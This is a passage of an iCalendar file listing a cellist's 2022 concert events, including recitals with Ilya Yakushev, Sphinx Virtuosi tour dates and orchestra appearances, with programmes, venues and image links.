ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/710FBCBC-BB9F-44BE-9394-F28D27190583.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220915T190000
DTEND;TZID=UTC:20220915T210000
DTSTAMP:20211222T101018Z
CREATED:20211222T101018Z
LAST-MODIFIED:20211222T101018Z
UID:2542-1663268400-1663275600@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: Elko\, Nevada
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-elko-nevada/
LOCATION:NY
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/82A4A5D3-F15E-4EF3-9D58-511948C4AC8B.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220913T193000
DTEND;TZID=UTC:20220913T213000
DTSTAMP:20211222T100754Z
CREATED:20211222T100554Z
LAST-MODIFIED:20211222T100754Z
UID:2537-1663097400-1663104600@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: Grants Pass\, Oregon
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-grants-pass-oregon/
LOCATION:NY
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/AC2C6EBF-58B9-4EB8-88B6-D3805593CFAB.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220911T150000
DTEND;TZID=UTC:20220911T170000
DTSTAMP:20211222T100329Z
CREATED:20211222T100236Z
LAST-MODIFIED:20211222T100329Z
UID:2532-1662908400-1662915600@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: Crescent City\, CA
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev/
LOCATION:Crescent City\, CA
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/4B65A00C-DDA9-4DBA-A494-CEECDC44E920.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20220813T200000
DTEND;TZID=America/Los_Angeles:20220813T220000
DTSTAMP:20220711T185151Z
CREATED:20220711T184957Z
LAST-MODIFIED:20220711T185151Z
UID:2747-1660420800-1660428000@tommymesa.com
SUMMARY:JP Jofre at Art Park
DESCRIPTION:This concert will features works by JP Jofre for cello and bandoneon that will be recorded and released on all streaming platforms next year.  Returning to Artpark after a moving and stunning performance last summer\, the New York City-based JP Jofre Hard Tango Chamber Band\, was started in 2008 by bandoneonist and composer Juan Pablo (J.P.) Jofre. The quintet focuses on Jofre’s original works as well as authentic interpretations of legendary composer Astor Piazzolla. Argentinian expatriate JP Jofre\, highlighted several times by The New York Times\, and praised by Lincoln Center\, who called him “one of today’s leading tango artists\,” has seen his reputation grow by leaps and bounds.
URL:https://tommymesa.com/event/jp-jofre-at-art-park/
LOCATION:Art Park Mainstage Theater
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2022/07/60B39AE7-D19B-48A3-A642-84D0BE3B9695.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220809
DTEND;VALUE=DATE:20220810
DTSTAMP:20220218T095355Z
CREATED:20211210T113317Z
LAST-MODIFIED:20220218T095355Z
UID:2517-1660003200-1660089599@tommymesa.com
SUMMARY:Lakeside Symphony Orchestra
DESCRIPTION:Cello Concerto No. 1 in A minor\, Op. 33
URL:https://tommymesa.com/event/lakeside-symphony-orchestra/
LOCATION:NY
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/B7A16011-FAB5-421B-BFB6-2D4B82F9770A.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20220729T173000
DTEND;TZID=America/Los_Angeles:20220729T190000
DTSTAMP:20220711T184034Z
CREATED:20220711T184017Z
LAST-MODIFIED:20220711T184034Z
UID:2744-1659115800-1659121200@tommymesa.com
SUMMARY:Celebrity Series at The Heifetz International Music Institute
DESCRIPTION:Chamber music by Florence Price with Elena Urioste\, Tom Poster\, Paul Neubauer
URL:https://tommymesa.com/event/celebrity-series-at-the-heifetz-international-music-institute/
LOCATION:NY
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2022/07/CD818FFE-7853-4F9E-A83E-141309EAEA1C.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220721T193000
DTEND;TZID=UTC:20220721T213000
DTSTAMP:20220108T062019Z
CREATED:20220108T062001Z
LAST-MODIFIED:20220108T062019Z
UID:2582-1658431800-1658439000@tommymesa.com
SUMMARY:The Philadelphia Orchestra
DESCRIPTION:Tchaikovsky – Variations on a Rococo Theme
URL:https://tommymesa.com/event/the-philadelphia-orchestra/
LOCATION:The Mann Center
ATTACH;FMTTYPE=image/webp:https://tommymesa.com/wp-content/uploads/2022/01/1D93A445-FC97-4D61-AEF6-F3B008D8B701.webp
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220717
DTEND;VALUE=DATE:20220807
DTSTAMP:20211222T072326Z
CREATED:20211222T072326Z
LAST-MODIFIED:20211222T072326Z
UID:2529-1658016000-1659830399@tommymesa.com
SUMMARY:Cello Faculty @ Heifetz International Music Institute (Junior Division)
DESCRIPTION:
URL:https://tommymesa.com/event/cello-faculty-heifetz-international-music-institute-junior-division/
LOCATION:NY
ATTACH;FMTTYPE=image/png:https://tommymesa.com/wp-content/uploads/2021/12/DECB5D14-D60A-4422-9FE6-30E539D28026.png
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/New_York:20220713T190000
DTEND;TZID=America/New_York:20220713T210000
DTSTAMP:20220711T183102Z
CREATED:20220711T183020Z
LAST-MODIFIED:20220711T183102Z
UID:2740-1657738800-1657746000@tommymesa.com
SUMMARY:Art of the Piano Recital with Michelle Cann
DESCRIPTION:Works by Andrea Casarrubios\, Claude Debussy\, Carlos Carrillo\, Sebastian Quesada\, Mario Oyanadel\, and Kevin Day.
URL:https://tommymesa.com/event/art-of-the-piano-recital-with-michelle-cann/
LOCATION:Werner Recital Hall @ Cincinnati Conservatory of Music
ATTACH;FMTTYPE=image/png:https://tommymesa.com/wp-content/uploads/2022/07/C3B4C238-5BA7-41E1-BBA2-B60E9A6A7E79.png
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220626
DTEND;VALUE=DATE:20220718
DTSTAMP:20211222T072449Z
CREATED:20211222T072032Z
LAST-MODIFIED:20211222T072449Z
UID:2526-1656201600-1658102399@tommymesa.com
SUMMARY:Cello Faculty @ Green Mountain Chamber Music Festival
DESCRIPTION:
URL:https://tommymesa.com/event/cello-faculty-green-mountain-chamber-music-festival/
LOCATION:NY
ATTACH;FMTTYPE=image/png:https://tommymesa.com/wp-content/uploads/2021/12/B5DCF952-042F-49F0-88A6-61424E5A1483.png
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220530
DTEND;VALUE=DATE:20220606
DTSTAMP:20211222T071716Z
CREATED:20211222T071716Z
LAST-MODIFIED:20211222T071716Z
UID:2523-1653868800-1654473599@tommymesa.com
SUMMARY:Minnesota Orchestra Residency
DESCRIPTION:
URL:https://tommymesa.com/event/minnesota-orchestra-residency/
LOCATION:NY
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/02BC36C6-A192-4CD6-9D06-644BDD328B72.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220525T193000
DTEND;TZID=UTC:20220525T213000
DTSTAMP:20220407T000517Z
CREATED:20211222T071203Z
LAST-MODIFIED:20220407T000517Z
UID:2520-1653507000-1653514200@tommymesa.com
SUMMARY:Virginia Arts Festival: Olga Kern and Friends
DESCRIPTION:Olga Kern\, piano \nTommy Mesa\, cello \nAlexandre Da Costa\, violin
URL:https://tommymesa.com/event/virginia-arts-festival-with-olga-kern/
LOCATION:Robert Hixon Theater\, Norfolk\, Virginia
ATTACH;FMTTYPE=image/png:https://tommymesa.com/wp-content/uploads/2021/12/5F4F0E90-C67D-4EC2-B545-E232A743A142.png
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220522T190000
DTEND;TZID=UTC:20220522T210000
DTSTAMP:20211210T110051Z
CREATED:20210629T015731Z
LAST-MODIFIED:20211210T110051Z
UID:1948-1653246000-1653253200@tommymesa.com
SUMMARY:Astral Artists Recital Series
DESCRIPTION:In the richly historic Benjamin Franklin Hall\, a program with newly commissioned solo cello works by Andrea Casarrubios\, Stephanie Ann Boyd\, and Carlos Simon.  In addition\, Tommy Mesa and Michelle Cann will perform works by Black and Latinx composers.  They will have recorded an album the previous week for PARMA Recordings which is fully funded by the Sphinx Organization in a “Call for Scores” format which will allow for the duo and the world to uncover important music by living Black and Latinx composers. \nProgram TBD
URL:https://tommymesa.com/event/astral-artists-recital-series/
LOCATION:American Philosophical Society\, 427 Chestnut St\, Philadelphia\, PA\, 19106\, United States
ATTACH;FMTTYPE=image/png:https://tommymesa.com/wp-content/uploads/2021/06/8F44BDEF-DADA-44EF-A47E-4E4CA2242875.png
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220422
DTEND;VALUE=DATE:20220423
DTSTAMP:20220218T093123Z
CREATED:20220218T093123Z
LAST-MODIFIED:20220218T093123Z
UID:2694-1650585600-1650671999@tommymesa.com
SUMMARY:Springfield Symphony
DESCRIPTION:Dvořák‘s Cello Concerto in B minor
URL:https://tommymesa.com/event/springfield-symphony/
LOCATION:NY
ATTACH;FMTTYPE=image/webp:https://tommymesa.com/wp-content/uploads/2022/02/6FF59CA4-93F2-44B6-A8B9-71C5CE2E3631.webp
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220411T190000
DTEND;TZID=UTC:20220411T210000
DTSTAMP:20210629T014643Z
CREATED:20210531T033222Z
LAST-MODIFIED:20210629T014643Z
UID:1854-1649703600-1649710800@tommymesa.com
SUMMARY:Schubert Club
DESCRIPTION:The Sphinx Virtuosi is one of the nation’s most dynamic professional chamber orchestras\, comprised of 18 top Black and Latinx classical soloists.  This touring season’s program will feature Tommy Mesa playing Jessie Montgomery’s new cello concerto and the music of Valerie Coleman\, Florence Price\, Xavier Foley\, Samuel Coleridge Taylor\, and Ginastera.
URL:https://tommymesa.com/event/schubert-club/
LOCATION:Ordway Center for the Arts\, 345 Washington St\, St. Paul\, MN\, 55102\, United States
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/05/ordway-center-jessie-montgomery-concerto-sphinx-virtuosi-thomas-mesa.jpg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220408T190000
DTEND;TZID=UTC:20220408T210000
DTSTAMP:20210629T014412Z
CREATED:20210531T032024Z
LAST-MODIFIED:20210629T014412Z
UID:1850-1649444400-1649451600@tommymesa.com
SUMMARY:Kohler Foundation
DESCRIPTION:The Sphinx Virtuosi is one of the nation’s most dynamic professional chamber orchestras\, comprised of 18 top Black and Latinx classical soloists.  This touring season’s program will feature Tommy Mesa playing Jessie Montgomery’s new cello concerto and the music of Valerie Coleman\, Florence Price\, Xavier Foley\, Samuel Coleridge Taylor\, and Ginastera.
URL:https://tommymesa.com/event/kohler-foundation/
LOCATION:The Kohler Foundation
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/05/thomas-mesa-sphinx-virtuosi-kohler-foundation-jessie-montgomery.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220403T190000
DTEND;TZID=UTC:20220403T210000
DTSTAMP:20210629T014233Z
CREATED:20210531T030616Z
LAST-MODIFIED:20210629T014233Z
UID:1846-1649012400-1649019600@tommymesa.com
SUMMARY:Isabella Stewart Gardner Museum
DESCRIPTION:The Sphinx Virtuosi is one of the nation’s most dynamic professional chamber orchestras\, comprised of 18 top Black and Latinx classical soloists.  This touring season’s program will feature Tommy Mesa playing Jessie Montgomery’s new cello concerto and the music of Valerie Coleman\, Florence Price\, Xavier Foley\, Samuel Coleridge Taylor\, and Ginastera.
URL:https://tommymesa.com/event/isabella-stewart-gardner-museum/
LOCATION:Isabella Stewart Gardner Museum\, 25 Evans Way\, Boston\, MA\, 02115\, United States
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/05/thomas-mesa-isabella-stewart-gardner-museum-jessie-montgomery-concerto-sphinx-virtuosi.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220331T190000
DTEND;TZID=UTC:20220331T210000
DTSTAMP:20210629T013954Z
CREATED:20210531T025734Z
LAST-MODIFIED:20210629T013954Z
UID:1844-1648753200-1648760400@tommymesa.com
SUMMARY:Portland Ovations
DESCRIPTION:The Sphinx Virtuosi is one of the nation’s most dynamic professional chamber orchestras\, comprised of 18 top Black and Latinx classical soloists.  This touring season’s program will feature Tommy Mesa playing Jessie Montgomery’s new cello concerto and the music of Valerie Coleman\, Florence Price\, Xavier Foley\, Samuel Coleridge Taylor\, and Ginastera.
URL:https://tommymesa.com/event/portland-ovations/
LOCATION:Merrill Auditorium\, 20 Myrtle St.\, Portland\, ME\, 04101\, United States
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/05/1A2B54A0-B523-4BAE-BB3B-744711FED575.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220328T190000
DTEND;TZID=UTC:20220328T210000
DTSTAMP:20210629T013536Z
CREATED:20210531T025219Z
LAST-MODIFIED:20210629T013536Z
UID:1841-1648494000-1648501200@tommymesa.com
SUMMARY:Beaches Fine Arts Series
DESCRIPTION:The Sphinx Virtuosi is one of the nation’s most dynamic professional chamber orchestras\, comprised of 18 top Black and Latinx classical soloists.  This touring season’s program will feature Tommy Mesa playing Jessie Montgomery’s new cello concerto and the music of Valerie Coleman\, Florence Price\, Xavier Foley\, Samuel Coleridge Taylor\, and Ginastera.
URL:https://tommymesa.com/event/beaches-fine-arts-series/
LOCATION:St. Paul’s by-the-Sea Episcopal Church\, 465 11th Ave N\, Jacksonville Beach\, FL\, 32250\, United States
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/05/0F9B56C7-0AAD-4A57-9DFF-3A492B30AA9B.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220326
DTEND;VALUE=DATE:20220327
DTSTAMP:20220108T062600Z
CREATED:20211222T105001Z
LAST-MODIFIED:20220108T062600Z
UID:2577-1648252800-1648339199@tommymesa.com
SUMMARY:Indianapolis Symphony Orchestra
DESCRIPTION:Dvořák’s Cello Concerto in B minor\, Op. 104\, B. 191
URL:https://tommymesa.com/event/indianapolis-symphony-orchestra-2/
LOCATION:Hilbert Circle Theater
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/3AD2D31E-F285-495D-A5B0-CD52E4A52C07.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220322T190000
DTEND;TZID=UTC:20220322T210000
DTSTAMP:20210629T013449Z
CREATED:20210531T023802Z
LAST-MODIFIED:20210629T013449Z
UID:1831-1647975600-1647982800@tommymesa.com
SUMMARY:Sphinx Virtuosi and South Florida Symphony
DESCRIPTION:The Sphinx Virtuosi is one of the nation’s most dynamic professional chamber orchestras\, comprised of 18 top Black and Latinx classical soloists.  This touring season’s program will feature Tommy Mesa playing Jessie Montgomery’s new cello concerto and the music of Valerie Coleman\, Florence Price\, Xavier Foley\, Samuel Coleridge Taylor\, and Ginastera.
URL:https://tommymesa.com/event/sphinx-virtuosi-and-south-florida-symphony/
LOCATION:NY
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/05/3D41B6E5-A906-4CF2-A1B6-B342F20A3568.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220319T190000
DTEND;TZID=UTC:20220319T210000
DTSTAMP:20210629T013416Z
CREATED:20210531T022958Z
LAST-MODIFIED:20210629T013416Z
UID:1829-1647716400-1647723600@tommymesa.com
SUMMARY:Sphinx Virtuosi in Sarasota
DESCRIPTION:The Sphinx Virtuosi is one of the nation’s most dynamic professional chamber orchestras\, comprised of 18 top Black and Latinx classical soloists.  This touring season’s program will feature Tommy Mesa playing Jessie Montgomery’s new cello concerto and the music of Valerie Coleman\, Florence Price\, Xavier Foley\, Samuel Coleridge Taylor\, and Ginastera.
URL:https://tommymesa.com/event/sphinx-virtuosi-in-sarasota/
LOCATION:NY
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/05/26013879-B89B-4F4E-916B-87920E54A0B5.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220309
DTEND;VALUE=DATE:20220310
DTSTAMP:20211224T124302Z
CREATED:20211210T112503Z
LAST-MODIFIED:20211224T124302Z
UID:2514-1646784000-1646870399@tommymesa.com
SUMMARY:Chamber Music with Indianapolis Symphony
DESCRIPTION:As co-curator with Melissa White\, works by Latinx and Black composers.  Program TBD.
URL:https://tommymesa.com/event/chamber-music-with-indianapolis-symphony-3/
LOCATION:Hilbert Circle Theater
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/97826CE5-5462-476D-9315-A11F178B6919.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=UTC:20220222T193000
DTEND;TZID=UTC:20220222T213000
DTSTAMP:20211210T112218Z
CREATED:20211210T112218Z
LAST-MODIFIED:20211210T112218Z
UID:2512-1645558200-1645565400@tommymesa.com
SUMMARY:Recital with Ilya Yakushev in Palm Springs
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-in-palm-springs/
LOCATION:NY
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/06/7E47F1A6-E55A-4578-BD3A-E8CC9161AB15.jpeg
END:VEVENT
END:VCALENDAR